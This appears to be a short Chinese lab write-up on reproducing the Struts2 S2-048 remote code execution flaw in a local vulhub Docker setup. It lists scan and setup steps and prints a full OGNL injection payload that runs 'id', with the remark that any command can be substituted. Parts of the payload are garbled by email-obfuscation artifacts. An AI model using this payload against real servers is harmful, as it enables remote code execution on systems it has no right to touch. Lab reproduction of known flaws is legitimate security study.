struts2反序列化漏洞
Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
实验环境:vulhub中的struts
实验步骤:
可利用struts2扫描工具扫描是否有该漏洞,输入python3 Struts2Scan.py -u http://192.168.1.103:8080/index.action进行扫描
漏洞复现
1.在ubuntu中进入vulhub-master/struts2/s2-048目录,并输入docker-compose up -d启动环境
2.访问http://192.168.1.103:8080/showcase/管理界面,ip为ubuntu的IP
3.选择ntegration/Struts 1 Integration,即为漏洞界面
4.在Gangster Name输入代码即可执行
例:输入:%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@[email protected]().exec('id').getInputStream())).(#q)}
可查看其id,当然也可将id处填写其他任意代码执行